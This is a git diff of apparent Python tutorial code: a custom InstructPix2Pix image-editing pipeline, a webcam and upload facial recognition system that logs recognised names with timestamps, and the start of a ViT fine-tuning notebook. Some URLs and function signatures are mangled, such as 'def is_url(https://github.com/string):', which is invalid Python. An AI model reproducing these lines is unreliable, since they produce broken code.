+            prompt_negative = ['']
+        elif isinstance(prompt_negative, str):
+            prompt_negative = [prompt_negative]
+
+        # get conditional prompt embeddings
+        cond_embeds = self.get_text_embeds(prompt)
+        # get unconditional prompt embeddings
+        uncond_embeds = self.get_text_embeds(prompt_negative)
+
+        # instructpix2pix takes conditional embeds first, followed by unconditional embeds twice
+        # this is different from other diffusion pipelines
+        prompt_embeds = torch.cat([cond_embeds, uncond_embeds, uncond_embeds])
+        return prompt_embeds
+
+
+    def transform_image(self, image):
+        """transform image from pytorch tensor to PIL format"""
+        image = self.image_processor.postprocess(image, output_type='pil')
+        return image
+
+
+
+    def get_image_latents(self, image):
+        """get image latents to be used with classifier free guidance"""
+
+        # get conditional image embeds
+        image = image.to(self.device)
+        image_latents_cond = self.vae.encode(image).latent_dist.mode()
+
+        # get unconditional image embeds
+        image_latents_uncond = torch.zeros_like(image_latents_cond)
+        image_latents = torch.cat([image_latents_cond, image_latents_cond, image_latents_uncond])
+
+        return image_latents
+
+
+
+    def get_initial_latents(self, height, width, num_channels_latents, batch_size):
+        """returns noise latent tensor of relevant shape scaled by the scheduler"""
+
+        image_latents = torch.randn((batch_size, num_channels_latents, height, width))
+        image_latents = image_latents.to(self.device)
+
+        # scale the initial noise by the standard deviation required by the scheduler
+        image_latents = image_latents * self.scheduler.init_noise_sigma
+        return image_latents
+
+
+
+    def denoise_latents(self,
+                        prompt_embeds,
+                        image_latents,
+                        timesteps,
+                        latents,
+                        guidance_scale,
+                        image_guidance_scale):
+        """denoises latents from noisy latent to a meaningful latent as conditioned by image_latents"""
+
+        # use autocast for automatic mixed precision (AMP) inference
+        with autocast('cuda'):
+            for i, t in tqdm(enumerate(timesteps)):
+                # duplicate image latents *thrice* to do classifier free guidance
+                latent_model_input = torch.cat([latents] * 3)
+                latent_model_input = self.scheduler.scale_model_input(latent_model_input, t)
+
+                latent_model_input = torch.cat([latent_model_input, image_latents], dim=1)
+
+
+                # predict noise residuals
+                with torch.no_grad():
+                    noise_pred = self.unet(latent_model_input, t,
+                        encoder_hidden_states=prompt_embeds)['sample']
+
+                # separate predictions into conditional (on text), conditional (on image) and unconditional outputs
+                noise_pred_text, noise_pred_image, noise_pred_uncond = noise_pred.chunk(3)
+                # perform guidance
+                noise_pred = (
+                    noise_pred_uncond
+                    + guidance_scale * (noise_pred_text - noise_pred_image)
+                    + image_guidance_scale * (noise_pred_image - noise_pred_uncond)
+                    )
+
+                # remove the noise from the current sample i.e. go from x_t to x_{t-1}
+                latents = self.scheduler.step(noise_pred, t, latents)['prev_sample']
+
+        return latents
+
+
+
+    def __call__(self,
+                 prompt,
+                 image,
+                 prompt_negative=None,
+                 num_inference_steps=20,
+                 guidance_scale=7.5,
+                 image_guidance_scale=1.5):
+        """generates new image based on the `prompt` and the `image`"""
+
+        # encode input prompt
+        prompt_embeds = self.get_prompt_embeds(prompt, prompt_negative)
+
+        # preprocess image
+        image = self.image_processor.preprocess(image)
+
+        # prepare image latents
+        image = image.half()
+        image_latents = self.get_image_latents(image)
+
+        # prepare timesteps
+        self.scheduler.set_timesteps(num_inference_steps)
+        timesteps = self.scheduler.timesteps
+
+        height_latents, width_latents = image_latents.shape[-2:]
+
+        # prepare the initial image in the latent space (noise on which we will do reverse diffusion)
+        num_channels_latents = self.vae.config.latent_channels
+        batch_size = prompt_embeds.shape[0] // 2
+        latents = self.get_initial_latents(height_latents, width_latents, num_channels_latents, batch_size)
+
+        # denoise latents
+        latents = self.denoise_latents(prompt_embeds,
+                                       image_latents,
+                                       timesteps,
+                                       latents,
+                                       guidance_scale,
+                                       image_guidance_scale)
+
+        # decode latents to get the image into pixel space
+        latents = latents.to(torch.float16) # change dtype of latents since
+        image = self.vae.decode(latents / self.vae.config.scaling_factor, return_dict=False)[0]
+
+        # convert to PIL Image format
+        image = image.detach() # detach to remove any computed gradients
+        image = self.transform_image(image)
+
+        return image
+
+# %%
+# We can get all the components from the InstructPix2Pix Pipeline
+vae = pipe.vae
+tokenizer = pipe.tokenizer
+text_encoder = pipe.text_encoder
+unet = pipe.unet
+scheduler = pipe.scheduler
+image_processor = pipe.image_processor
+
+# %%
+custom_pipe = InstructPix2PixPipelineCustom(vae, tokenizer, text_encoder, unet, scheduler, image_processor)
+
+# %%
+url = "https://cdn.pixabay.com/photo/2013/01/05/21/02/art-74050_640.jpg"
+image = download_image(url)
+image
+
+# %%
+# sample image 1
+prompt = "convert the lady into a highly detailed marble statue"
+images_custom = custom_pipe(prompt, image, num_inference_steps=20)
+images_custom[0]
+
+# %%
+url = "https://cdn.pixabay.com/photo/2023/03/22/01/41/little-girl-7868485_640.jpg"
+image = download_image(url)
+image
+
+# %%
+# sample image 2
+prompt = "turn into 8k anime"
+images_custom = custom_pipe(prompt, image, num_inference_steps=20)
+images_custom[0]
+
+# %% [markdown]
+# # Limitations
+
+# %%
+prompt = "turn entire pic into anime frame"
+images_custom = custom_pipe(prompt, image, num_inference_steps=20)
+images_custom[0]
+
+# %%
+
+
+# %% [markdown]
+# # Rough
+# 
+
+# %%
+prompt = "convert the lady into a highly detailed marble statue"
+images = pipe(prompt, image=image, num_inference_steps=10, image_guidance_scale=1.6).images
+images[0]
+
+# %%
+prompt = "convert the lady into a highly detailed marble statue"
+images = pipe(prompt, image=image, num_inference_steps=10, image_guidance_scale=2).images
+images[0]
+
+# %%
+prompt = "convert the lady into a highly detailed marble statue"
+images = pipe(prompt, image=image, num_inference_steps=20, image_guidance_scale=1).images
+images[0]
+
+# %%
+prompt = "convert the lady into a highly detailed marble statue"
+images = pipe(prompt, image=image, num_inference_steps=30, image_guidance_scale=1).images
+images[0]
+
+# %%
+prompt = "convert the lady into a highly detailed marble statue"
+images = pipe(prompt, image=image, num_inference_steps=50, image_guidance_scale=1).images
+images[0]
+
+# %%
+prompt = "convert the lady into a highly detailed marble statue"
+images = pipe(prompt, image=image, num_inference_steps=30, image_guidance_scale=1.6).images
+images[0]
+
+# %%
+prompt = "convert the lady into a highly detailed marble statue"
+images = pipe(prompt, image=image, num_inference_steps=50, image_guidance_scale=1.6).images
+images[0]
+
+# %%
+prompt = "convert the lady into a highly detailed marble statue"
+images = pipe(prompt, image=image, num_inference_steps=100, image_guidance_scale=1.6).images
+images[0]
+
+# %%
+prompt = "convert the lady into a highly detailed marble statue"
+images = pipe(prompt, image=image, num_inference_steps=100, image_guidance_scale=1.2).images
+images[0]
+
+# %%
+prompt = "convert the lady into a highly detailed marble statue"
+images = pipe(prompt, image=image, num_inference_steps=100, image_guidance_scale=1.3).images
+images[0]
+
+# %%
+prompt = "convert the lady into a highly detailed marble statue"
+images = pipe(prompt, image=image, num_inference_steps=20, image_guidance_scale=0.8).images
+images[0]
+
+# %%
+prompt = "convert the lady into a highly detailed marble statue"
+images = pipe(prompt, image=image, num_inference_steps=20, image_guidance_scale=0.6).images
+images[0]
+
+# %%
+prompt = "convert the lady into a highly detailed marble statue"
+images = pipe(prompt, image=image, num_inference_steps=20, image_guidance_scale=1.5).images
+images[0]
+
+# %%
+prompt = "convert the lady into a highly detailed marble statue"
+images = pipe(prompt, image=image, num_inference_steps=20, image_guidance_scale=1.5, guidance_scale=10).images
+images[0]
+
+# %%
+prompt = "convert the lady into a highly detailed marble statue"
+images = pipe(prompt, image=image, num_inference_steps=20, image_guidance_scale=1.5, guidance_scale=15).images
+images[0]
+
+# %%
+
+
+# %%
+prompt = "turn the red wooden stick to brown"
+images2 = pipe(prompt, image=images[0], num_inference_steps=10, image_guidance_scale=1).images
+images2[0]
+
+
diff --git a/machine-learning/edit-images-instruct-pix2pix/requirements.txt b/machine-learning/edit-images-instruct-pix2pix/requirements.txt
new file mode 100644
index 00000000..8780d0fc
--- /dev/null
+++ b/machine-learning/edit-images-instruct-pix2pix/requirements.txt
@@ -0,0 +1,6 @@
+diffusers
+accelerate
+transformers
+torch
+Pillow
+safetensors
\ No newline at end of file
diff --git a/machine-learning/facial-recognition-system/README.md b/machine-learning/facial-recognition-system/README.md
new file mode 100644
index 00000000..b7b0255e
--- /dev/null
+++ b/machine-learning/facial-recognition-system/README.md
@@ -0,0 +1 @@
+# [How to Make a Facial Recognition System in Python](https://thepythoncode.com/article/create-a-facial-recognition-system-in-python)
\ No newline at end of file
diff --git a/machine-learning/facial-recognition-system/TrainingImages/Hazard.jfif b/machine-learning/facial-recognition-system/TrainingImages/Hazard.jfif
new file mode 100644
index 00000000..0073f5d6
Binary files /dev/null and b/machine-learning/facial-recognition-system/TrainingImages/Hazard.jfif differ
diff --git a/machine-learning/facial-recognition-system/TrainingImages/Salah.jfif b/machine-learning/facial-recognition-system/TrainingImages/Salah.jfif
new file mode 100644
index 00000000..91a3619a
Binary files /dev/null and b/machine-learning/facial-recognition-system/TrainingImages/Salah.jfif differ
diff --git a/machine-learning/facial-recognition-system/TrainingImages/mane.jfif b/machine-learning/facial-recognition-system/TrainingImages/mane.jfif
new file mode 100644
index 00000000..b36ddc1e
Binary files /dev/null and b/machine-learning/facial-recognition-system/TrainingImages/mane.jfif differ
diff --git a/machine-learning/facial-recognition-system/TrainingImages/messi.jpg b/machine-learning/facial-recognition-system/TrainingImages/messi.jpg
new file mode 100644
index 00000000..722eba2c
Binary files /dev/null and b/machine-learning/facial-recognition-system/TrainingImages/messi.jpg differ
diff --git a/machine-learning/facial-recognition-system/TrainingImages/muhammad.PNG b/machine-learning/facial-recognition-system/TrainingImages/muhammad.PNG
new file mode 100644
index 00000000..de32fc2d
Binary files /dev/null and b/machine-learning/facial-recognition-system/TrainingImages/muhammad.PNG differ
diff --git a/machine-learning/facial-recognition-system/TrainingImages/neymar.jpg b/machine-learning/facial-recognition-system/TrainingImages/neymar.jpg
new file mode 100644
index 00000000..3c3f4682
Binary files /dev/null and b/machine-learning/facial-recognition-system/TrainingImages/neymar.jpg differ
diff --git a/machine-learning/facial-recognition-system/TrainingImages/obama.jfif b/machine-learning/facial-recognition-system/TrainingImages/obama.jfif
new file mode 100644
index 00000000..30baa567
Binary files /dev/null and b/machine-learning/facial-recognition-system/TrainingImages/obama.jfif differ
diff --git a/machine-learning/facial-recognition-system/TrainingImages/ronaldo.jpg b/machine-learning/facial-recognition-system/TrainingImages/ronaldo.jpg
new file mode 100644
index 00000000..26e569b5
Binary files /dev/null and b/machine-learning/facial-recognition-system/TrainingImages/ronaldo.jpg differ
diff --git a/machine-learning/facial-recognition-system/TrainingImages/villa.jfif b/machine-learning/facial-recognition-system/TrainingImages/villa.jfif
new file mode 100644
index 00000000..2f302162
Binary files /dev/null and b/machine-learning/facial-recognition-system/TrainingImages/villa.jfif differ
diff --git a/machine-learning/facial-recognition-system/facial_rec_image_upload.py b/machine-learning/facial-recognition-system/facial_rec_image_upload.py
new file mode 100644
index 00000000..7d5cad6f
--- /dev/null
+++ b/machine-learning/facial-recognition-system/facial_rec_image_upload.py
@@ -0,0 +1,113 @@
+import cv2, numpy as np, face_recognition, os, tkinter as tk
+from tkinter import filedialog
+
+# Initialize empty lists to store images and people's names.
+known_faces = []
+face_labels = []
+
+# Get a list of all images in the TrainingImages directory.
+image_files = os.listdir("TrainingImages")
+
+# Loop through the images in the directory.
+for image_name in image_files:
+    # Read each image and add it to the known_faces list.
+    current_image = cv2.imread(f'TrainingImages/{image_name}')
+    known_faces.append(current_image)
+
+    # Extract the person's name by removing the file extension and add it to the face_labels list.
+    face_labels.append(os.path.splitext(image_name)[0])
+
+
+# Function to get face encodings from a list of images.
+def get_face_encodings(images):
+    encoding_list = []
+    for image in images:
+        # Convert the image to RGB format. RGB is Red Green Blue.
+        image = cv2.cvtColor(image, cv2.COLOR_BGR2RGB)
+        # Get the face encoding for the first face found in the image.
+        face_encoding = face_recognition.face_encodings(image)[0]
+        encoding_list.append(face_encoding)
+    return encoding_list
+
+
+# Get face encodings for known images.
+known_face_encodings = get_face_encodings(known_faces)
+
+
+# Function to handle image selection and recognition
+def select_and_recognize_image():
+    # Use a file dialog to let the user select an image.
+    selected_file = filedialog.askopenfilename()
+    if selected_file:
+        # Read the selected image.
+        selected_image = cv2.imread(selected_file)
+
+        # Convert the image to RGB format.
+        selected_image_rgb = cv2.cvtColor(selected_image, cv2.COLOR_BGR2RGB)
+
+        # Get face encodings for the selected image.
+        selected_face_encodings = face_recognition.face_encodings(selected_image_rgb)
+
+        match_found = False  # Flag to track if a match is found.
+
+        if not selected_face_encodings:
+            print("No faces found in the selected image.")
+        else:
+            # Loop through the detected faces in the selected image.
+            for face_encoding in selected_face_encodings:
+                # Compare the current face encoding with the known encodings.
+                matches = face_recognition.compare_faces(known_face_encodings, face_encoding)
+                face_distances = face_recognition.face_distance(known_face_encodings, face_encoding)
+
+                # Find the index of the best match. That is, the best resemblance.
+                best_match_index = np.argmin(face_distances)
+
+                if matches[best_match_index]:
+                    # If a match is found, get the name of the recognized person.
+                    recognized_name = face_labels[best_match_index].upper()
+
+                    # Draw a green rectangle around the recognized face.
+                    top, right, bottom, left = face_recognition.face_locations(selected_image_rgb)[0]
+                    cv2.rectangle(selected_image, (left, top), (right, bottom), (0, 255, 0), 2,)
+
+                    # Display the name below the face.
+                    cv2.putText(selected_image, recognized_name, (left + 6, bottom - 6), cv2.FONT_HERSHEY_COMPLEX, 0.5,
+                                (0, 255, 0), 2)
+
+                    match_found = True  # Match found flag.
+                    break  # Exit loop as soon as a match is found.
+
+            if not match_found:
+                # If no match is found, draw a red rectangle and display No Match.
+                top, right, bottom, left = face_recognition.face_locations(selected_image_rgb)[0]
+                cv2.rectangle(selected_image, (left, top), (right, bottom), (0, 0, 255), 2)
+                cv2.putText(selected_image, "No match", (left + 6, bottom - 6), cv2.FONT_HERSHEY_COMPLEX, 1,
+                            (0, 0, 255), 2)
+
+            # Show the image with the rectangle and name.
+            cv2.imshow("Recognized Image", selected_image)
+            known_faces.clear()# To prevent the program from slowing down due to excess unnecessary encodings.
+            cv2.waitKey(0)
+            cv2.destroyAllWindows()
+
+
+# Create the main application window.
+root = tk.Tk()
+root.title("Face Recognition Program")
+
+# Create a button to select an image for recognition.
+select_button = tk.Button(root, text="Select Image for Recognition", command=select_and_recognize_image)
+select_button.pack(pady=10)
+
+
+# Function to quit the application.
+def quit_app():
+    root.quit()
+
+
+# Create a quit button to exit the application.
+quit_button = tk.Button(root, text="Quit", command=quit_app)
+quit_button.pack(pady=10)
+
+# Start the Tkinter event loop.
+root.mainloop()
diff --git a/machine-learning/facial-recognition-system/facial_rec_live_camera.py b/machine-learning/facial-recognition-system/facial_rec_live_camera.py
new file mode 100644
index 00000000..689eac6a
--- /dev/null
+++ b/machine-learning/facial-recognition-system/facial_rec_live_camera.py
@@ -0,0 +1,155 @@
+import tkinter as tk, numpy as np, cv2, os, face_recognition
+from datetime import datetime
+
+# Initialize empty lists to store images and people's names.
+known_faces = []
+face_labels = []
+
+# Get a list of all images in the TrainingImages directory.
+image_files = os.listdir("TrainingImages")
+
+# Loop through the images in the directory.
+for image_name in image_files:
+    # Read each image and add it to the known_faces list.
+    current_image = cv2.imread(f'TrainingImages/{image_name}')
+    known_faces.append(current_image)
+
+    # Extract the person's name by removing the file extension and add it to the face_labels list.
+    face_labels.append(os.path.splitext(image_name)[0])
+
+
+# Function to get face encodings from a list of images.
+def get_face_encodings(images):
+    encoding_list = []
+    for image in images:
+        # Convert the image to RGB format. RGB is Red Green Blue.
+        image = cv2.cvtColor(image, cv2.COLOR_BGR2RGB)
+        # Get the face encoding for the first face found in the image.
+        face_encoding = face_recognition.face_encodings(image)[0]
+        encoding_list.append(face_encoding)
+    return encoding_list
+
+
+# Define a function to document the recognized face.
+def document_recognised_face(name, filename='records.csv'):
+    # Get the current date in the YYYY-MM-DD format.
+    capture_date = datetime.now().strftime("%Y-%m-%d")
+
+    # Check if the specified CSV file exists.
+    if not os.path.isfile(filename):
+        # If the file doesn't exist, create it and write the header.
+        with open(filename, 'w') as f:
+            f.write('Name,Date,Time')  # Create the file and write the header.
+
+    # Open the CSV file for reading and writing ('r+')
+    with open(filename, 'r+') as file:
+        # Read all lines from the file into a list.
+        lines = file.readlines()
+
+        # Extract the names from existing lines in the CSV.
+        existing_names = [line.split(",")[0] for line in lines]
+
+        # Check if the provided name is not already in the existing names.
+        if name not in existing_names:
+            # Get the current time in the HH:MM:SS format.
+            now = datetime.now()
+            current_time = now.strftime("%H:%M:%S")
+
+            # Write the new entry to the CSV file including name, capture date, and time.
+            file.write(f'\n{name},{capture_date},{current_time}')
+
+
+# Get face encodings for known images.
+known_face_encodings = get_face_encodings(known_faces)
+
+
+# Function to start the Facial recognition program.
+def start_recognition_program():
+    # Open a webcam for capturing video. If you are using your computer's webcam, change 1 to 0.
+    # If using an external webcam, leave it as 1.
+    video_capture = cv2.VideoCapture(1)
+
+    while True:
+        # Read a frame from the webcam.
+        frame = video_capture.read()
+
+        # Check if the frame is not None (indicating a successful frame capture).
+        if frame is not None:
+            frame = frame[1]  # The frame is usually the second element of the tuple returned by video_capture.read().
+
+            # Resize the image to a smaller size.
+            resized_frame = cv2.resize(frame, (0, 0), None, 0.25, 0.25)
+            resized_frame = cv2.cvtColor(resized_frame, cv2.COLOR_BGR2RGB)
+
+            # Detect faces in the current frame.
+            face_locations = face_recognition.face_locations(resized_frame)
+
+            # Get face encodings for the faces detected in the current frame.
+            current_face_encodings = face_recognition.face_encodings(resized_frame, face_locations)
+
+            # Loop through the detected faces in the current frame.
+            for face_encoding, location in zip(current_face_encodings, face_locations):
+                # Compare the current face encoding with the known encodings.
+                matches = face_recognition.compare_faces(known_face_encodings, face_encoding)
+                face_distances = face_recognition.face_distance(known_face_encodings, face_encoding)
+
+                # Find the index of the best match. That is, the best resemblance.
+                best_match_index = np.argmin(face_distances)
+
+                if matches[best_match_index]:
+                    # If a match is found, get the name of the recognized person.
+                    recognized_name = face_labels[best_match_index].upper()
+
+                    # Extract face location coordinates.
+                    top, right, bottom, left = location
+                    top, right, bottom, left = top * 4, right * 4, bottom * 4, left * 4
+
+                    # Draw a rectangle around the recognized face.
+                    cv2.rectangle(frame, (left, top), (right, bottom), (0, 255, 0), 2)
+
+                    # Draw a filled rectangle and display the name above the face.
+                    cv2.rectangle(frame, (left, bottom - 35), (right, bottom), (0, 255, 0), cv2.FILLED)
+                    cv2.putText(frame, recognized_name, (left + 6, bottom - 6), cv2.FONT_HERSHEY_COMPLEX, 1,
+                                (255, 255, 255), 2)
+                    document_recognised_face(recognized_name)
+
+            # Display the image with recognized faces.
+            cv2.imshow("Webcam", frame)
+
+        # Check for key press
+        key = cv2.waitKey(1) & 0xFF
+
+        # Check if the 'q' key is pressed to exit the program.
+        if key == ord('q'):
+            break
+
+    # Release the video capture and close all OpenCV windows.
+    video_capture.release()
+    cv2.destroyAllWindows()
+
+
+# Create the main application window.
+root = tk.Tk()
+root.title("Face Recognition Program")
+
+# Create a label
+label = tk.Label(root, text="Click the button to start the facial recognition program")
+label.pack(pady=10)
+
+# Create a button to start the program
+start_button = tk.Button(root, text="Start Recognition", command=start_recognition_program)
+start_button.pack(pady=10)
+
+
+# Function to quit the application. This is for quitting the entire program. To quit the webcam stream, hit q.
+def quit_app():
+    root.quit()
+    cv2.destroyAllWindows()
+
+
+# Create a quit button to exit the application.
+exit_button = tk.Button(root, text="Close", command=quit_app)
+exit_button.pack(pady=10)
+
+# Start the Tkinter event loop.
+root.mainloop()
diff --git a/machine-learning/facial-recognition-system/requirements.txt b/machine-learning/facial-recognition-system/requirements.txt
new file mode 100644
index 00000000..bcf5e075
--- /dev/null
+++ b/machine-learning/facial-recognition-system/requirements.txt
@@ -0,0 +1,4 @@
+cmake
+dlib==19.18.0
+face-recognition
+opencv-python
\ No newline at end of file
diff --git a/machine-learning/finetuning-vit-image-classification/FineTuningViTForImageClassification_PythonCodeTutorial.ipynb b/machine-learning/finetuning-vit-image-classification/FineTuningViTForImageClassification_PythonCodeTutorial.ipynb
new file mode 100644
index 00000000..abc2e9e7
--- /dev/null
+++ b/machine-learning/finetuning-vit-image-classification/FineTuningViTForImageClassification_PythonCodeTutorial.ipynb
@@ -0,0 +1,7356 @@
+{
+  "cells": [
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "id": "7LhpxluXAy0g"
+      },
+      "outputs": [],
+      "source": [
+        "!pip install transformers evaluate datasets"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "id": "eBq4mm7cA4Cp"
+      },
+      "outputs": [],
+      "source": [
+        "import requests\n",
+        "import torch\n",
+        "from PIL import Image\n",
+        "from transformers import *\n",
+        "from tqdm import tqdm\n",
+        "\n",
+        "device = \"cuda\" if torch.cuda.is_available() else \"cpu\""
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "id": "JlLN5LTVA5eJ"
+      },
+      "outputs": [],
+      "source": [
+        "# the model name\n",
+        "model_name = \"google/vit-base-patch16-224\"\n",
+        "# load the image processor\n",
+        "image_processor = ViTImageProcessor.from_pretrained(model_name)\n",
+        "# loading the pre-trained model\n",
+        "model = ViTForImageClassification.from_pretrained(model_name).to(device)"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": 4,
+      "metadata": {
+        "id": "B5z-Sqz4BiPQ"
+      },
+      "outputs": [],
+      "source": [
+        "import urllib.parse as parse\n",
+        "import os\n",
+        "\n",
+        "# a function to determine whether a string is a URL or not\n",
+        "def is_url(https://github.com/string):\n",
+        "    try:\n",
+        "        result = parse.urlparse(string)\n",
+        "        return all([result.scheme, result.netloc, result.path])\n",
+        "    except:\n",
+        "        return False\n",
+        "    \n",
+        "# a function to load an image\n",
+        "def load_image(image_path):\n",
+        "    if is_url(https://github.com/image_path):\n",
+        "        return Image.open(requests.get(image_path, stream=True).raw)\n",
+        "    elif os.path.exists(image_path):\n",
+        "        return Image.open(image_path)"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": 5,
+      "metadata": {
+        "id": "MgfKn08vByse"
+      },
+      "outputs": [],
+      "source": [
+        "def get_prediction(model, url_or_path):\n",
+        "  # load the image\n",
+        "  img = load_image(url_or_path)\n",
+        "  # preprocessing the image\n",
+        "  pixel_values = image_processor(img, return_tensors=\"pt\")[\"pixel_values\"].to(device)\n",
+        "  # perform inference\n",
+        "  output = model(pixel_values)\n",
+        "  # get the label id and return the class name\n",
+        "  return model.config.id2label[int(output.logits.softmax(dim=1).argmax())]"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": 6,
+      "metadata": {
+        "id": "q8n-To7RsyPx",
+        "colab": {
+          "base_uri": "https://localhost:8080/",
+          "height": 35
+        },
+        "outputId": "aa4a7cbb-7411-4822-f3b3-e383b6396809"
+      },
+      "outputs": [
+        {
+          "output_type": "execute_result",
+          "data": {
+            "text/plain": [
+              "'Indian elephant, Elephas maximus'"
+            ],
+            "application/vnd.google.colaboratory.intrinsic+json": {
+              "type": "string"
+            }
+          },
+          "metadata": {},
+          "execution_count": 6
+        }
+      ],
+      "source": [
+        "get_prediction(model, \"http://images.cocodataset.org/test-stuff2017/000000000128.jpg/")"
+      ]
+    },
+    {
+      "cell_type": "markdown",
+      "source": [
+        "# Loading our Dataset"
+      ],
+      "metadata": {
+        "id": "suO4z5NCDU8v"
+      }
+    },
+    {
+      "cell_type": "code",
+      "execution_count": 5,
+      "metadata": {
+        "id": "SlxPT1XaD9VV",
+        "colab": {
+          "base_uri": "https://localhost:8080/",
+          "height": 392,
+          "referenced_widgets": [
+            "394913b4097b46a7984797f5d1deaaff",
+            "d7ac86078f0c4c7da2f137ad1ac478b3",
+            "cc9c87b095054301a8f910ad3a2cf1a5",
+            "c39369786d8843cda8dd4bfc116f42bf",
+            "dc110e5887304c40941cdd68163a4013",
+            "de81d798249b48c396d64575bad2c358",
+            "40687f7092f94f92a50e4d83c7147f2a",
+            "2c20eadf22c545a182bec19a81b3d99a",
+            "7086056225a44a7fb99f14d9d0a1f4cc",
+            "fe7fbb909b154a4eaf05a906dd2a9c78",
+            "05ea400f1d864062bacb4e3a69312b4c",
+            "d6e7d1b10c7d4f5daa699d507c11f2d4",
+            "b778df9b11374c55ab77e6df61464af9",
+            "0f5c260e80444e38ab3b3cd8b984b9b5",
+            "a75144c534ac462487e2ee23e69ff6d6",
+            "b3b818659e20499e97e1dcfadac5bdb2",
+            "3f06b0e7f671425a84a8ba1eee6b91b4",
+            "ca6bcd38cf654331a5cc2a30f6b1eb60",
+            "2a03ed298064406986a3926002e01c50",
+            "ad45516b83064a2fb2bfb1b6b4e4a6cc",
+            "493247940d1f4a1b9f540648539ee570",
+            "bf4f4937407e4ff8b99e12a80df51bbf",
+            "df26988483374f13b3f5b5249885314e",
+            "741faf1f52434dc1a50f8f87222d03f9",
+            "c0e1947fff7545a2905b351ca3a37aa7",
+            "ecaf20f7678f4c369c87159eebd764c5",
+            "9f94bd441f5143d09de8e1a2eaaaef47",
+            "47f36484127b476eb6188c4aea4bdee3",
+            "f856eaad87464418971522512a6a49f7",
+            "6be3d46ddb524492b317001c7f2327b8",
+            "7ff1fe3c688d4b4a9dbd29802bd37a6f",
+            "e1ffbf12e5c84a6598375408de9664bb",
+            "64b5417ebc974e199543379ef725d1c8",
+            "82acbc3424b14a3583b58739b556045e",
+            "ce51e61458384578b179cac6fd5afaba",
+            "97c3a7df99234301af2afbe263071006",
+            "11b963fc16c14db1b2739fc1ee5d891b",
+            "21643d4f04384d738a3a60dbd22989bf",
+            "048ff92d3dd94d11a8cbfa850f685113",
+            "96a3a22da4734c9695730d08a19a0a23",
+            "919af07ec8a44e2e992b7aa4fd995ab9",
+            "cd5bea65a88948bd8650bbf04e4e1426",
+            "baca3a29ad0f4b5e8a5b1980337b30bc",
+            "6b548b8a9ceb4f31b913196c87c1afae",
+            "27228900fcc64b8e976c7cf674365f5e",
+            "c081fea03098454ea2b7d58fa7cf44c4",
+            "7429695252fb431593a5716dca6df965",
+            "266cbfbc75c94b888682b24e7c72dfa7",
+            "93f772daaff14419a2d4dba53771c832",
+            "542f4c77c6754aecb778cc22775ceb9b",
+            "078e919df7e244408b32f1a988975238",
+            "258f358dcafc49de94bd56fb8673c814",
+            "d0f398fcac5741698b0ffb9ffa06d570",
+            "90b7882f5c6f4495b2d5e60bff88f2e2",
+            "02a3804cfb644596845bd94d485842b3",
+            "3a90127f102749d49dc707462fa1493c",
+            "fd48f90d37264a068726b5bb831f0e92",
+            "6f1fc0ddf59941af8a8de728f69f13a9",
+            "cc579e347402418fb3a56a9721608c2f",
+            "7656a7c366d84f868cfbe1fe078005b8",
+            "68cc9adc5ffd4bd7b7603f523c799bdb",
+            "04bd3974f26d4fc286d011eaabb4a00f",
+            "16ca0d5112a84f7badd1ae6897871981",
+            "905b964876754e62bb806d6d46dc2be2",
+            "fe5cb317415544f2a9e66936e90a292a",
+            "43f04b940546468eaea59dcca38a00aa",
+            "c85eb3cb9e364d65bf81da8d8695384d",
+            "37705344130d4089845dfd50b66a2eca",
+            "ec688e6024494c149700188621c7a28f",
+            "a209766c96454174a5ca2571cc2821dc",
+            "38983df51690455397d3c3e95b512024",
+            "8fe4d9d70fc34de19885c5b423cc635d",
+            "05aba2b03a9a445b911b57a80f977e28",
+            "d07eee50d63249ce8c888abbbd85d7f7",
+            "722edf64d41d420194d108bd34d1e6b4",
+            "7732563834ed46dd8e19e520674f6cac",
+            "69be31cf3de941c4bf06a4e6359f387d",
+            "59228c17fb39460aa14997c501c4c528",
+            "d39827e795f9429cb64945e1502a921e",
+            "ada54ada913c4f4089eee58693114187",
+            "b20d87aa3e3a4d92b341430f99b6b024",
+            "81305cbb90c14bc786948bb44dbf526c",
+            "3e91f992f5b54955ab60166a40a987e5",
+            "f241423e2fa04e7892b6eb47d2e2dceb",
+            "c663a31f4e6d4ac09c87af993cca9d42",
+            "1a2e6f5312a447098815e440921e8300",
+            "d68f6fe6a47a4092b0b723814cdf1cf9",
+            "5a6861eb4b9146528fa37592cc731b78",
+            "0acd2ec0c2a64e2997230aee8d6b9ef3",
+            "01f46ddb169f4502877985907b2e1e79",
+            "1512e241a3d64139b425a3455d296dea",
+            "4f037323ba2b42b98690f3d91334396d",
+            "aabbc7f40589421da8bbc8db5d60e77c",
+            "0fbacc4d6aba42e78c9860211748a856",
+            "10f639dda72d4b7d90c62818a72228af",
+            "5dd098e322264b2394134b40b7911cc1",
+            "1594e53020c44d53a034a61849f78dcc",
+            "5840ce91a0444924b6c4163e69ae27e4",
+            "63a3932c41294fa29ef2c7f15778bed6",
+            "dfae6990fa884f9fa6f4c87c066ee755",
+            "321a0e1e91b64e0dad1d477a2c43e23e",
+            "32e54fe28f2f4cccaff447ce9ef7c06f",
+            "2b14498cf8b0494e9e2e0811b46f54bb",
+            "674e9f6cc69449cfba4945405595d701",
+            "220d07d0e921487ab80efddc00fc2266",
+            "b9522ba2b7224356853cb6a7aad3ac9c",
+            "34a8a32af56f4a1fb533c10cf9fb19df",
+            "d2124b2edfcd4a13ab43c80e8c47c370",
+            "df00071dc70c4876a173d05fd3d69cc5",
+            "85b91e440a6c49ccabd656bf7f0aa460"
+          ]
+        },
+        "outputId": "0e11acb7-06a8-4c22-815f-446cae5c0e83"
+      },
+      "outputs": [
+        {
+          "output_type": "display_data",
+          "data": {
+            "text/plain": [
+              "Downloading builder script:   0%|          | 0.00/6.21k [00:00<?, ?B/s]"
+            ],
+            "application/vnd.jupyter.widget-view+json": {
+              "version_major": 2,
+              "version_minor": 0,
+              "model_id": "394913b4097b46a7984797f5d1deaaff"
+            }
+          },
+          "metadata": {}
+        },
+        {
+          "output_type": "display_data",
+          "data": {
+            "text/plain": [
+              "Downloading metadata:   0%|          | 0.00/5.56k [00:00<?, ?B/s]"
+            ],
+            "application/vnd.jupyter.widget-view+json": {
+              "version_major": 2,
